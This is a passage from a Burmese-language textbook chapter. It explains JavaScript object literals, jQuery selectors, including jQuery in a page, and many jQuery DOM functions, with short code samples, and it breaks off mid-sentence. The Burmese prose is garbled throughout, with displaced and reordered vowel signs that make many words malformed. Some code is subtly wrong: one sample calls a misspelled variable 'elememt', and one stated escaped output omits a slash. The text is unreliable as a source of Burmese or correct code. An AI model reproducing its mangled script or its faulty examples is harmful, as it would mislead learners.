toyota  ဆုိတဲ့ JavaScript Object တစ်ခကုိုြ JSON Object Literal ပဖေစ်တဲ့ တနွ့်ကွြငး်အဖေငွ့်အပတိသံု်းပပးီ တိုက်ြ
ရုိကြ် တည်ိ ဆာက်ြလိုက်ြပခငး် ပဖေစ်ပါတယ်။ နားလညလ်ယ်ွချငရ်ေင် toyota ကုိြ wheels,  fuel နဲ့  drive ဆုိ
တဲ့ Index သံုးခပုါတဲ့ Array လို့ ပမငအ်ကြည့်နိုငပ်ါတယ်။ အခန်း (၄) မာှ JavaScript Array ိတကုိွြ ိလးိဒါင့်ကွြငး်
အသံုးပပု သတမ်တှပ်ုံကုိြ ိလလ့ာခဲ့ပါတယ်။ အ့ဲဒီ  Array ိတကုိွြ Numeric Array လ့ုိိခါ်ပါတယ်။  Array Index
ိတဟွာ 0, 1, 2, 3 စတဲ့ နပံါတစ်ဉန်ဲ့ရေှိိ နတဲ့အတက်ွြပါ။  JSON လို Hash Array ိတကွြိတာ ့Index ကုိြ နပံါတစ်ဉ်
နဲ့ မဟတုပ် ဲအမညတ်စ်ခစီု ိပးထားတဲ့ Array အမျို းအစား ပဖေစ်ပါတယ်။

Index  တစ်ခနုဲ့တစ်ခကုိုြ   Comma (  ,  )  နဲ့ခွဲပခားထားပပးီ၊  Index  တစ်ခခုျငး်စရီေဲ့  Property  နဲ့  Value  ကုိြိတာ့
Colon (  :  )  နဲ့ခွဲပခား  ိရေးသားရေပါတယ။်  ထးူပခားချက်ြအိနနဲ့  drive Index  အတက်ွြ  Value  ကုိြ  Nameless
Function တစ်ခ ုိပးထားတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။ 

Object ကုိြ အသံုးပပုပုံကြိတာ့ အပခား OOP Language ိတမွာှလိုပဲ Dot ( . ) ကုိြ Object Operator အိနနဲ့ သံုး
နိုငပ်ါတယ။် 

toyota.wheels;        # => 4 
toyota.wheels = 6; 
toyota.wheels;        # => 6
toyota.drive(); 
toyota.fuel;          # => 55

 
JavaScript Code အိနနဲ့ လက်ြိတွ့ကူြးယူစမး်သပအ်ကြည့်နိုငပ်ါတယ်။ 
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5.5 - DOM Manipulation with jQuery
jQuery ဆုိတာ JavaScript နဲ့ ကကိြုတင်ိ ရေးသားိပးထားတဲ့  Object ိတ ွFunction ိတကုိွြ စုစညး်ထားပခငး်ပပဲဖေစ်
ပါ  တယ်။ တနညး်အားပဖေင့်  jQuery  ဟာ  JavaScript  ပါပ။ဲ  ိပပာငး်လထဲးူပခားသွားတဲ့  နညး်ပညာအသစ်တစ်မျို း
ိတာ့ မဟတု် ပါဘးူ။ ပုံမနှ်ိ ရေးသားိနတဲ့  JavaScript ိတထွမဲာှ jQuery ကြ ကကိြုတင်ိ ရေးသားထားိပးတဲ့ Object
ိတ ွFunction ိတကုိွြ လိုအပသ်လိုထည့်သွငး်ရေယူ အသံုးပပုနိုငပ်ခငး်ပဖေစ်ပါတယ်။

Programming  Language   Libraries   Framework  → → ဆက်ြစပပ်ုံကုိြ  အထက်ြမာှိဖောပ်ပခဲ့ပပးီ  ပဖေစ်ပါတယ်။
jQuery  ဟာလညး်  JavaScript  နဲ့  ိရေးသားထားတဲ့  Library  သုိမ့ဟတု်  Framework  တစ်ခပုဖေစ်ပါတယ်။
JavaScript  App  ိတမွာှ  အပမလဲိုအပ်ိ လရ့ေှိတဲ့အိပခခလံပု်ိ ဆာငခ်ျက်ြိတကုိွြ  ကကိြုတငပ်ပးီအသင့်ိ ရေးသားထားိပး
လို့  အားလုံး  ကုိြကုိြယ်တိုင်ိ ရေးိနဖေို့  မလိို တာပ့ဲ  အချနိကု်ြနသ်က်ြသာိစမာှပဖေစ်ပါတယ်။  ိရေရေညှမ်ာှ  အချနိကု်ြန်
သက်ြသာိစဖေို့ အစပိငုး်မာှိတာ့  jQuery  ကြ ိရေးိပးထားတဲ့  Function  ိတကုိွြ နားလညသိ်ရေှိိ အာင် ိလလ့ာချနိ်
တစ်ချို ့ိတာ့   ပပနလ်ညရ်ေငန်ှီး  ိပးရေမာှပါ။  အမနှ်ိ တာ့  Framework  အားလုံး  ဒသီိဘာချညး်ပါပ။ဲ  Framework
ိတမွသံုးလညး် အလပုလ်ပုလ်ို့ရေပါတယ်။  အသံုးပပုရေင်ိ တာ့ အချနိကု်ြနသ်က်ြသာပပးီ အလပုပ်ိုတငွ်ိ စပါတယ်။ ဒါိပ
မယ့် အပပနအ်လနှအ်ိနနဲ့ အသံုးပပု တက်ြိအာင်ိ လလ့ာတဲ့အချနိ ်ပပန်ိ ပးရေမာှပါ။

အခန်း  (၄) မာှ  JavaScript  အသံုးပပုပပးီ  HTML Element  ိတ ွစီမပံုံကုိြိလလ့ာခဲ့အကြပါတယ်။  JavaScript  မာှ
Element  ိတ ွ ကုိြ  Select  လုပဖ်ေို့  document.getElementById လုိ  DOM  Selector  ကုိြသံုးရေပါတယ်။
jQuery  မာှိတာ့  jQuery  Object  ကုိြ  သံုးရေပါတယ်။   jQuery  Object  ကုိြ  jQuery ဆုိတဲ့အမည်  အတိုငး်ပဲ
အသံုးပပုနိုင် သလို  $ Sign  နဲ့လညး် အသံုးပပုနိုငပ်ါတယ်။  $ Sign  ဟာ  jQuery Object  ကုိြ ိရေးသားရေတိုိ အာင်
ဖေနတ်းီိပးထားတဲ့ အမညခ်ွဲတစ်ခု ပဖေစ်ပါတယ်။ အများစုကြိတာ့  $ Sign  ကုိြပဲ  jQuery Object  အိနနဲ့ သံုးအကြပါ
တယ်။ ကြျွန်ိ တာတ်ိုက့ြလညး် နမနူာိတမွာှ $ Sign ကုိြ အသံုးပပုပပးီိတာ ့ိဖောပ်ပိပးသွားိတာမ့ာှပါ။

jQuery Selector  ရေဲ့ထးူပခားချက်ြကြိတာ့  Element  ိတကုိွြ  CSS Selector  အတိုငး်  Select  လုပန်ိုငပ်ခင်း ပဖေစ်ပါ
တယ်။ jQuery("p.note") (သုိမ့ဟတု်) $("p.note") လိုိ့ ရေးသားလိုက်ြပခငး်ဟာ  class="note" ိပး
ထားတဲ့  <p> Element အားလုံးကုိြ Select လပုလ်ိုက်ြပခငး်ပဖေစ်ပါတယ။် p.note အစား ကြျွန်ိ တာတ်ို့  အခနး်(၃)
မာှ  ိလ့လာသိရေှိခဲ့ပပီးပဖေစ်တဲ့  Element  Selector,  ID  Selector,  Dependent  Selector,  Child  Selector,
Attribute Selector, Group Selector, Pseudo-class စတဲ့ CSS Selector အားလုံးကုိြ အသံုးပပုနိုငပ်ါတယ်။ နမူ
နာအချို ့ ိဖောပ်ပိပးလိုက်ြ ပါတယ်။

$("p") - <p> Element အားလုံးကုိြ Select လုပလ်ိုက်ြပခငး် ပဖေစ်ပါတယ်။ 
$("div p") - <div> တစ်ခအုတငွး်မာှရေှိတဲ့ <p> Element ိတအွားလုံးကုိြ Select လပုလ်ိုက်ြပခငး်ပါ။ 
$(".des") - class="des" လ့ုိိပးထားတဲ့  Element အားလုံးကုိြ Select လုပလ်ိုက်ြပခငး်ပဖေစပ်ါတယ်။ 
$("#nav a") - id="nav" ိပးထားတဲ့ Element ထဲကြ <a> Element ကုိြ Select လုပတ်ာပါ။ 
$("h1, h2, h3") - <h1> <h2> နဲ့ <h3> Element အားလုံးကုိြ Select ပခငး်ပဖေစ်ပါတယ်။ 
$("input[type=text]:focus") - Focus ပဖေစ်ိနတဲ့ <input type="text"> ိတကုိွြ Select  လပု်
ပခငး်ပဖေစ်ပါတယ်။ 
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JavaScript နဲ့ Element ိတ ွစီမခံဲ့စဉက်ြ document.getElementById နဲ့ Select လပုထ်ားတဲ့ Element ရေဲ့
Content  ိတ ွ ပပငလ်ိုတဲ့အခါ  innerHTML ကုိြသံုးပပးီ  Style  ိတပွပငလ်ိုတဲ့အခါ  style ကုိြအသံုးပပုခဲ့ပါတယ်။
jQuery နဲ့ Select လုပထ်ားတဲ့ Element ိတရွေဲ့  Content ကုိြ ပပငဆ်ငသ်တမ်တှလ်ိုရေင် html() Function ကုိြသံုး
နိုင် ပါတယ်။ Style ိတ ွပပငဆ်ငသ်တမ်တှလ်ိုရေင်ိ တာ ့css() Function ကုိြသံုးရေပါတယ်။

var element = $("#note"); 
elememt.html("Hello from jQuery"); 
element.css("color", "red");

(သုိမ့ဟတု်)

$("#note").html("Hello from jQuery").css("color", "red");

css() Function  မာှ  Parameters  နစ်ှခုိ ပးတာကုိြ သတပိပုပါ။ ိရေှ့ကြ CSS Property  ပဖေစ်ပပးီ ိနာက်ြကြ CSS
Value ပဖေစ်ပါ တယ်။ သတမ်တှလ်ိုတဲ့  Style တနဖ်ေိုးကြ တစ်ခထုက်ြပိုတယ်ဆုိရေင်ိ တာ့ တစ်ိအကြာငး်ချငး်ိရေးိနမယ့်
အစား Style Property ိတ ွစုထားတဲ့ JSON အိနနဲ့လညး်  Parameter ကုိြိပးလို့ရေပါတယ်။

$("#note").css("color", "red").css("background-color", "yellow");

(သုိမ့ဟတု်)

$("#note").css( { "color": "red", "background-color": "yellow" } );

မတ်ှချကြ် ။ ။ ထူးပခားချကြအ်ိနနဲ့  css() Function ကြို နစှခ်ါဆင့်သုံးထားတာကြိုသတိပပုပါ။  ပထမနမနူာမာှလညး် html()
Function နဲ့ css() Function ကြို တဲွဆကြပ်ပးီ သုံးထားပါတယ။် jQuery Function ိတွဟာ သတ်မတ်ှထားတ့ဲ အလုပလု်ပပ်ပးီ
တုိငး် လကြရ်ေှိ  Select  လုပထ်ားတ့ဲ  Object  ကြို လကြဆ်င့်ကြမး်ပပန်ိ ပးပါတယ။် ဒါိအကြာင့်  Select  လုပရ်ေမယ့်  Element  တူရေင်
jQuery Function ိတွကြို တစ်ိ အကြာငး်စ ီခွိဲ ရေးမိနပ ဲထပဆ်င့်ထပဆ်င့် တဲွဆကြ်ိ ရေးသားပပးီ အသုံးပပုနိုငပ်ါတယ။် 
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5.6 - Getting jQuery
လက်ြိတွ့စမး်သပန်ိုငဖ်ေို ့jquery.com ကြိန jQuery ိနာက်ြဆံုး Version ကုိြ Download လပုယူ်ဖေိုလ့ိုပါလမိ့်မယ်။

ပုံ (၅-ခ) jquery.com Website

ဒစီာိရေးသားိနချနိမ်ာှထက်ွြိနတဲ့  ိနာက်ြဆံုး  Version  ကြ  3.1.1  ပဖေစ်ပါတယ်။  jQuery  ကုိြစတငအ်သံုးပပုနိုငဖ်ေို့
အတက်ွြ Download ရေယူထားတဲ့ ဖေိုငကုိ်ြ <script> Element သံုးပပးီ HTML Document ထဲမာှ ချတိဆ်က်ြိပး
ရေမာှပဖေစ်ပါတယ်။ မနူာတစ်ခု ိဖောပ်ပိပးလိုက်ြပါတယ်။ ကူြးယူစမ်းသပအ်ကြည့်နိုငပ်ါတယ်။ 

<!doctype html> 
<html> 
<head> 
  <title>Hello jQuery</title> 
</head> 
<body> 
  <p id="note">Hello, World!</p> 
  
  <script src="jquery.js"></script>
  <script> 
    $("#note").html( "Hello from jQuery!" ); 

    $("#note").css({ 
      "color": "red", 
      "background-color": "yellow", 
      "padding": "10px" 
    }); 
  </script> 
</body> 
</html>

http://jquery.com/
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မတ်ှချကြ် ။ ။ <script> Element ရေဲ့  src Attribute မာှိပးထားတ့ဲ jquery.js ိနရောမာှ jquery.js File တညရ်ေှိရော
Path နဲ့ ဖေိုင ်Name ကြို မနှ်ိ အာငထ်ည့ိ် ပးရေမာှပါ။ 

နမနူာမာှ  id="note" လိုိ့ ပးထားတဲ့ <p> Element တစ်ခပုါဝငပ်ါတယ်။ Element Content အိနနဲ့  "Hello,
World!" ကုိြိပးထားပါတယ်။ ပပးီိတာမ့ှ jquery.js File ကုိြ <script> Element နဲ့ src Attribute သံုးပပးီ
ချတိဆ်က်ြထည့်သွငး်ိပးပါတယ။်  ိနာက်ြထပ်  <script> Element  တစ်ခနုဲ့  ကြျွန်ိ တာတ်ိုိ့ ရေးသားလိုတဲ့
JavaScript ိတ ွဆက်ြလက်ြိရေးသားထားပါတယ်။

█ $("#note").html( "Hello from jQuery!" );

-  လိုိ့ ရေးသားထားတဲ့အတက်ွြ  #note Element  ရေဲ့မလူ  Content  ကြ  "Hello,  World!"  ပဖေစ်ိပမယ့်  "Hello
from jQuery!"  လ့ုိ ိပပာငး်သွားိစမာှပဖေစ်ပါတယ်။ ိနာက်ြတစ်ဆင့်မာှ  Style  တနဖ်ေိုးိတကုိွြ  css() Function
အသံုးပပုပပးီ သတမ်တှထ်ားတဲ့အတက်ွြ #note Element ရေဲ့  CSS Style ကြ သတမ်တှ်ိ ပးထားတဲ့အတိုငး် ိနာက်ြခံ
အဝါ၊ စာလုံးအနနီဲ ့padding 10px ိနရောယူပပးီ ိဖောပ်ပိပးိနမာှပပဲဖေစ်ပါတယ်။ 

5.7 - jQuery DOM Functions
jQuery Object  နဲ့  တွဲဖေက်ြအသံုးပပုနိုငတ်ဲ့  DOM Function  ိတ ွအများကကီြးရေှိပါတယ်။ အ့ဲဒထီကဲြ အသံုးများပပးီ
သိရေှိ ထားသင့်တဲ့ Function အချို ့ကုိြ ိဖောပ်ပိပးလိုက်ြပါတယ်။  

$(selector).hide() -  Element  ိတကွွြယ်ိပျာက်ြသွားိစချငတ်ဲ့အခါသံုးပါတယ်။  JavaScript  တနုး်ကြ
သီးပခား Function မရေှိတဲ့အတက်ွြ CSS display Property ကုိြ none လပု်ိ ပးပခငး်အားပဖေင့် ကွြယ်ိပျာက်ြိအာင်
လပုရ်ေပါတယ်။ jQuery ရေဲ့  hide() Function ကြလညး် CSS display ကုိြ none လုပ်ိ ပးတာပါပ။ဲ ဒါိပမယ့်
css() Function ကုိြသံုးိနစရောမလိုပဲ Element တိုက်ြရုိက်ြသံုးလို့ရေတဲ့သိဘာပဖေစ်သွားပါတယ်။ ပိုပပးီထးူပခားသွား
ိစတာကြိတာ့ Duration ထည့်ိ ပးလို ့ရေပခငး်ပပဲဖေစ်ပါတယ်။ ဥပမာ - 

$("#note").hide("slow");

hide() Function အတက်ွြ "slow" ကုိြ Duration အိနနဲ့ထည့်သွငး်ိပးလိုက်ြပခငး်ပဖေစ်ပါတယ်။  ဒလီိုိ ရေးသား
ိပး  လိုက်ြရေင်  #note Element  ဟာ  Animation  Effect  ိလးနဲ့ပဖေည်းပဖေညး်ချငး်  ကွြယ်ိပျာက်ြသွားမာှပါ။
"slow" အစား  "fast" ကုိြလညး်သံုးနိုငပ်ါတယ။်  ဒါမမှဟတု်  millisecond  နဲ့လညး်သတမ်တှလ်ို့ရေပါတယ်။
ဥပမာ  -  $("#note").hide(400) လ့ုိ သတမ်တှလ်ိုက်ြရေင်  Animation  အတက်ွြ အချနိ်  400 milliseconds
ယူပပီးမ ှကွြယ်ိဖေျာက်ြိပးမာှ ပဖေစ်ပါတယ်။ 400 အစား နစ်ှသက်ြရောပမာဏ သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------
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$(selector).show() - hide() နဲ့ ဆန့်ကြျငဘ်က်ြပါ။ ိဖေျာက်ြထားတဲ့  Element ိတကုိွြပပနလ်ည်ိ ဖောပ်ပလို
တဲ့အခါသံုးပါတယ်။  သူလညး်ပဲ  hide() မာှလို  Duration  သတမ်တှ်ိ ပးလို့ရေပါတယ်။  သတမ်တှ်  အသံုးပပုပုံ
hide() နဲ့ အတတူပူါပ။ဲ

-------------------------------------------------------------------------

$(selector).toggle() - show() နဲ့  hide() ကုိြ ိပါငး်ထားတဲ့သိဘာပါ။ လက်ြရေှိိ ဖောပ်ပိနရေင် ိဖေျာက်ြ
ိပးပပးီ၊  လက်ြရေှိကွြယ်ိပျာက်ြိနရေင်ိ တာ့  ပပန်ိ ဖောပ်ပိပးမာှပဖေစ်ပါတယ်။  သူလညး်ပဲ  show() နဲ့  hide() မာှလို
Duration ထည့်သတမ်တှ ်ိပးလို့ရေပါတယ်။ သတမ်တှအ်သံုးပပုပုံ အတတူပူါပ။ဲ

-------------------------------------------------------------------------

$(selector).slideToggle() -  toggle() နဲ့  အလပုလ်ပုပ်ုံတပူါတယ်။  ိဖောပ်ပတဲ့  Effect  ကြ  Slide
Animation ိလး ပါဝငသွ်ားမာှပဖေစ်ပါတယ်။ သူအ့တက်ွြကြိတာ့ Duration မသတမ်တှလ်ညး် Effect ကြ အလိုလို
ပါဝငမ်ာှပဖေစ်ပါတယ်။ Duration ကုိြ သတမ်တှလ်ိုရေငလ်ညး် သတမ်တှအ်သံုးပပုပုံအတတူပူါပ။ဲ 

-------------------------------------------------------------------------

$(selector).fadeIn() -  show() နဲ့ အလပုလ်ပုပ်ုံတပူါတယ်။ သူကြိတာ့  Fade Effect  ကုိြ ထည့်သွငး်
အသံုးပပုိပးသွားမာှပါ။ Duration သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).fadeOut() - hide() နဲ့ အလပုလ်ပုပ်ုံတပူါတယ်။ သူလညး်ပဲ  Fade Effect ကုိြ ထည့်သွငး်
ိပးသွားမာှပါ။ Duration သတမ်တှ်ိ ပးနိုငပ်ါတယ်။

ိဖောပ်ပခဲ့တဲ့ Function ိတအွားလုံးအတက်ွြ Callback Function သတမ်တှ်ိ ပးနိုငပ်ါတယ်။ Callback Function
ဆုိတာ သက်ြဆုိငရ်ောလပုင်နး် ိဆာငရ်ေက်ွြပပးီရေင ်ဆက်ြလက်ြိဆာငရ်ေက်ွြိစလိုတဲ့လပု်ိ ဆာငခ်ျက်ြ ပဖေစ်ပါတယ်။ ဥပမာ

$("#note").fadeOut("slow", function() {
  alert("Done Hiding the Note.");
});

နမနူာမာှ  fadeOut() Function  အတက်ွြ Nameless Function တစ်ခကုိုြ  Callback အိနနဲ့ထည့်သွင်ိ ပးထား
ပါတယ်။  fadeOut() ရေဲ့သဘာဝကြ အချနိ်  millisecond  တစ်ချို ့ယူပပီး  Element  ကုိြ  Animation Effect  နဲ့
ကွြယ် ိပျာက်ြိအာင် ိဆာငရ်ေက်ွြမာှပါ။ Element ကွြယ်ိပျာက်ြိအာငလ်ပုတ်ဲ့အလပုပ်ပီးတာနဲ့ ိပးထားတဲ့ Callback
Function ကုိြ Evaluate လပု်ိ ပးမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့် #note ကုိြ Fade Effect ိလးနဲ့ ကွြယ်ိပျာက်ြိအာင်
လပု်ိ ပးပပးီ၊  ကွြယ်ိ ပျာက်ြသွားပပဆုိီတာနဲ့  "Done Hiding the Note."  ဆုိတဲ့  Message  နဲ့  Alert  Box  တစ်ခု
ိဖောပ်ပိပးိစမာှပဖေစ် ပါတယ်။
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ပုံ (၅-ဂ) jQuery DOM Function တစ်ခ၏ု အိပခခဖံေွဲ့စညး်ပုံ

-------------------------------------------------------------------------

$(selector).html() -  ိဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့အတိုငး်  Element  Content  ကုိြ  ပပုပပငလ်ိုတဲ့အခါ  အသံုးပပုရေပါ
တယ်။ ဒါ့အပပင် လက်ြရေှိ Content ကုိြ ရေယူလိုရေငလ်ညး် အသံုးပပုနိုငပ်ါတယ်။ ဥပမာ - 

var content = $("#note").html();

ဒနီညး်နဲ ့content Variable ထကုိဲြ #note Element ရေဲ့လက်ြရေှိ  Content ိရောက်ြရေှိိ နိစမာှပါ။

-------------------------------------------------------------------------
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$(selector).text() - html() နဲ့ သဘာဝတပူါတယ်။ ဒါိပမယ့် သူကြ ိပးလိုက်ြတဲ့ Content ထမဲာှပါတဲ့
HTML ိတ ွကုိြ Text ိပပာငး်ပပးီမ ှိဖောပ်ပိပးမာှပဖေစ်ပါတယ်။ ဥပမာ - 

$(selector).text("<b>Hello</b>"); 

text() Function ကြ  "<b>Hello</b>" ကုိြ "&lt;b&gt;Hello&lt;b&gt;" ပဖေစ်သွားိအာင် ိပပာငး်
ပပးီမှ Content အပဖေစ် ထည့်သွငး်ိပးလိုက်ြမာှပါ။

-------------------------------------------------------------------------

$(selector).val() - Form Input Element  ိတရွေဲ့  value ကုိြ ရေယူလိုရေင်  (သုိမ့ဟတု်)  သတမ်တှလ်ိုရေင်
အသံုးပပုနိုငပ်ါတယ်။ ဥပမာ - 

$("#fname").val("John"); 
var first= $("#fname").val();

-------------------------------------------------------------------------

$(selector).append() -  Element  Content  ကုိြ  html() Function  လုိ  အစားထိုးလိုက်ြတာမဟတုပ်ဲ
မလူ Content ိနာက်ြမာှ ထပ်ိ ပါငး်ပဖေည့်စက်ွြိပးတဲ့ Function ပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

$(selector).prepend() -  append() နဲ့  အတတူပူါပ။ဲ ဒါိပမယ့်  မလူ  Content  ရေဲ့  ိနာက်ြကြိန ထပ်
ိပါင်ိ ပးတာ မဟတုပ်၊ဲ ိရေှ့ကြိနပဖေည့်စွက်ြိပးလိုက်ြတာပါ။ 

-------------------------------------------------------------------------

$(selector).appendTo() - သူကြိတာ ့လက်ြရေှိ Select လုပထ်ားတဲ့ Element ကုိြ တစ်ပခား Element တစ်
ခ ုထကုိဲြ သွားပပးီထည့်လိုက်ြိစချငတ်ဲ့အခါ သံုးရေပါတယ်။ ဥပမာ - 

$("li").appendTo("ul#menu"); 

Select  လုပထ်ားတဲ့  <li> Element  တစ်ခလုုံးကုိြ  #menu Element  ထဲမာှ ပဖေည့်ိ ပါငး်ထည့်ိ ပးလိုက်ြမာှ ပဖေစ်ပါ
တယ်။ Content ကုိြ သွားထည့်မာှမဟတုပ်ါဘးူ။ Element တစ်ခလုုံးကုိြ သွားထည့်လိုက်ြမာှပါ။

-------------------------------------------------------------------------
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$(selector).prependTo() -  appendTo() နဲ့  သိဘာအတတူပူါပ။ဲ   Element  တစ်ခလုုံးကုိြ  ိနာက်ြ
Element တစ်ခထု ဲိနာက်ြကြိနိပါငး်ထည့်ိ ပးတာမဟတုပ် ဲိရေှ့ကြိနပဖေည့်ထည့်ိ ပးသွားမာှပါ။

-------------------------------------------------------------------------

$(selector).clone() - Select လုပထ်ားတဲ့ Element အတိုငး် အတအိကြျတတူဲ့ Element တစ်ခကုိုြ မပူာွး
ိပး သွားမာှ ပါ။ ဥပမာ -

$("li").clone().prependTo("#menu");

Select  လပုထ်ားတဲ့  ပထမဆံုး  <li> Element  ကုိြ  အရေငဆံု်းမပူာွးလိုက်ြပပးီမှ  ရေလာတဲ့မပူာွးကုိြသာ  #menu
Element ထ ဲသွားထည့်ိ ပးမာှပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

$(selector).wrap() - Select  လပုထ်ားတဲ့  Element ကုိြ တစ်ပခား Element တစ်ခနုဲ့ ပခုံိပးလိုက်ြ ိစချင်
တဲ့အခါ မာှသံုးရေပါတယ်။ ဥပမာ - 

$("p#note").wrap("<div>");

Select  လုပထ်ားတဲ့  <p> Element  ရေဲ့  Structure  ကြ  <div><p id="note"> ... </p></div> လို့
ိပပာငး်သွားိစမာှ ပဖေစ်ပါတယ။်

-------------------------------------------------------------------------

$(selector).wrapInner() - wrap() နဲ့ သိဘာတရေားတပူါတယ်။ Select လုပထ်ားတဲ့ Element အပပင်
ကြ မဟတုပ် ဲအတငွး်ကြိန ပခုံိပးတဲ့သိဘာပါ။ ဥပမာ - 

$("p#note").wrapInner("<div>");

Select လုပထ်ားတဲ့ <p> Element Structure ကြ <p id="note"><div> ... </div></p> လ့ုိိပပာငး်
သွားိစမာှပဖေစ်ပါတယ်။

-------------------------------------------------------------------------
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$(selector).css() -  ိဖောပ်ပခဲ့ပပးီပဖေစ်တဲ့အတိုငး်  Element Style  ိပပာငး်ဖေိုသံု့းပါတယ်။  ပပးီိတာ့  လက်ြရေှိ
Property ကုိြ ရေယူဖေို့လညး်သံုးနိုငပ်ါတယ်။  ဥပမာ - 

var color = $("#note").css("color");

ဒနီညး်နဲ ့color Variable ထဲကုိြ #note Element ရေဲ့လက်ြရေှိ color Value ရေရေှိသွားိစမာှပဖေစ်ပါတယ။်

-------------------------------------------------------------------------

$(selector).height() - လက်ြရေှိ Element ရေဲ့  အပမင့်ကုိြရေယူလိုတဲ့အခါ (သုိ့) သတမ်တှလ်ိုတဲ့အခါ သံုးနိုငပ်ါ
တယ်။ 

$("#note").height("400px") လိုိ့ ပပာလိုက်ြရေင်  #note Element  ရေဲ့  height Style  ကုိြ  400px လို့
သတမ်တှ်ိ ပးသွားမာှပဖေစ်ပါတယ်။ သူလညး်ပဲ အမနှ်ိ တာ ့ CSS height Value ကုိြ ရေယူပပင်ဆငပ်ခငး်ပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

$(selector).width() -  height() နဲ့ သိဘာချငး်အတတူပူါပ။ဲ  Element  ရေဲ့  အကြျယ်ကုိြရေယူပပင်ဆငဖ်ေို့
အသံုး ပပုနိုငပ်ါတယ်။  

-------------------------------------------------------------------------

$(selector).offset() - Element ရေဲ့  လက်ြရေှိ  Position ကုိြ ရေယူဖေိုအ့တက်ွြ အသံုးပပုနိုငပ်ါတယ်။  Top နဲ့
Left တနဖ်ေိုး နစ်ှခပုါဝငတ်ဲ့ JSON အိနနဲ့ ပပနလ်ညရ်ေရေှိမာှပဖေစ်ပါတယ်။ ဥပမာ - 

var pos = $("#note").offset();
pos.left;    // #note Element ၏ လကြရ်ေှိ Left Position
pos.top;     // #note Element ၏ လကြရ်ေှိ Top Position

-------------------------------------------------------------------------

$(selector).attr() -  Select  လုပထ်ားတဲ့  Element  ိတရွေဲ့  Attribute Value  ကုိြ  ရေယူဖေို့  (သုိမ့ဟတု်)
သတမ်တှဖ်ေို့ သံုး နိုငပ်ါတယ်။  ဥပမာ - 

$("a.back").attr("title", "Go Back");
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class="back" ိပးထားတဲ့  <a> Element  ိတရွေဲ့  title Attribute  Value  အိနနဲ့  "Go  Back"  ကုိြ
သတမ်တှ ်ိပးလိုက်ြပခင်းပဖေစ်ပါတယ်။

var text = $("img#thumb").attr("alt");

ဒနီညး်နဲ ့text Variable ထဲမာှ #thumb Element ရေဲ့  alt Value ိရောက်ြရေှိသွားမာှပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

$(selector).addClass() - Select လပုထ်ားတဲ့ Element အတက်ွြ class ိတ ွထပထ်ည့်ဖေို့ သံုးပါတယ။် 

$("#note").addClass("active") လ့ုိ  သတမ်တှလ်ိုက်ြရေင်  #note Element  မာှ  active ဆုိတဲ့
class Value ပဖေည့်သွငး် သတမ်တှ်ိ ပးသွားမာှ ပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ Element  တစခ်မုာှ  Class  တစခ်ထုကြပ်ိုပပးီ သတ်မတ်ှလုိရ့ေပါတယ။် ဥပမာ  -  <div class="row center
clear-fix"> လုိ့ သတ်မတ်ှလုိကြတ်ာဟာ  <div> Element အတွကြ် row, center, clear-fix ဆုိတ့ဲ Class (၃)
ခု သတ်မတ်ှိပးလုိကြတ်ာပဲ ပဖေစပ်ါတယ။် addClass() ကြို ရိှေိနတ့ဲ Class အစားထုိးဖေို့သုံးတာမဟတ်ုပါဘးူ။  Class ိတွ ထပ်
တုိးဖေို့သုံးတာပဖေစပ်ါတယ။်

-------------------------------------------------------------------------

$(selector).removeClass() -  addClass() နဲ့  ိပပာငး်ပပနပ်ါ။  ရေှိိ နတဲ့  Element Class  ိတထွကဲြ
တစ်ခကုိုြ ပဖေုတပ်ပစ်လိုရေင် အသံုးပပုရေပါတယ်။

-------------------------------------------------------------------------

$(selector).toggleClass() - addClass() နဲ့ removeClass() ကုိြ ိပါငး်ထားတဲ့ သိဘာပဖေစ် ပါ
တယ်။ မရေှိိ သးရေငထ်ည့်ိ ပးပပီး၊ ရေှိိ နရေင်ိ တာ ့ပဖေုတထ်တု်ိ ပးမာှပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

$(selector).data() - JavaScript App ိတမွာှ Element ိတနွဲ့အတူ တနဖ်ေိုးိတတွွဲဖေက်ြသိမ်းဆညး် ထား
ဖေို့ အတက်ွြ data Attribute ိတကုိွြ သံုးခဲ့အကြပါတယ်။ အသံုးသပိမ်ျားတဲ့အတက်ွြ data Attribute ဟာ HTML5
မာှ Standard Attribute အိနနဲ့ ပါဝငလ်ာပပပီဖေစ်ပါတယ်။ ဒလီိုပါ - 

<ul id="fruits">
  <li data-id="123" data-type="sweet">Papaya</li>
</ul>
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<li>  Element မာှ data-id နဲ့ data-type ဆုိပပးီ ရေှိိ နပါတယ်။

var id= $("#fruits li").data("id");

ဒနီညး်နဲ့ id Variable ထမဲာှ <li> Element ရေဲ့  data-id Value ကုိြ ရေရေှိမာှပဖေစ်ပါတယ်။  Data Value တစ်ခု
သတမ်တှလ်ိုရေင ်အခလုိုသတမ်တှန်ိုငပ်ါတယ်။ 

$("#fruits li").data("type", "very-sweet");

အမနှ်ိ တာ့  $("#fruits li").attr("data-type", "very-sweet") လ့ုိ  ိရေးသားသတမ်တှရ်ေင်
လညး် ရေလဒက်ြအတတူပူပဲဖေစ်မာှပါ။  data() Function  ကြ data Attribute  ိတအွတက်ွြ attr() Function
အစားသံုးနိုငတ်ဲ့ Shortcut ဆုိရေငလ်ညး် မမာှးပါဘးူ။

-------------------------------------------------------------------------

$(selector).parent() - လက်ြရေှိ Select လုပထ်ားတဲ့ Element ရေဲ့  Parent Element ကုိြ ိရေးွချယ်ပခငး်ပဖေစ်
ပါ တယ်။ 

-------------------------------------------------------------------------

$(selector).is(selector) -  Element  ကုိြ  စစ်ိဆးဖေိုသံု့းပါတယ။်  Select  လုပထ်ားတဲ့  Element  ကုိြ
Parameter  အပဖေစ်ိပးထားတဲ့ ိနာက်ြ Selector နဲ့ တုိက်ြစစ်ိပးပပီး တတူယ်ဆုိရေင်  true မတရူေင်  false ပပန်ိ ပး
မာှ  ပဖေစ်ပါတယ်။  ဥပမာ-  $("#nav").is("ul") လို့သံုးတဲ့အခါ  Select  လုပထ်ားတဲ့  #nav ကြ  <ul>
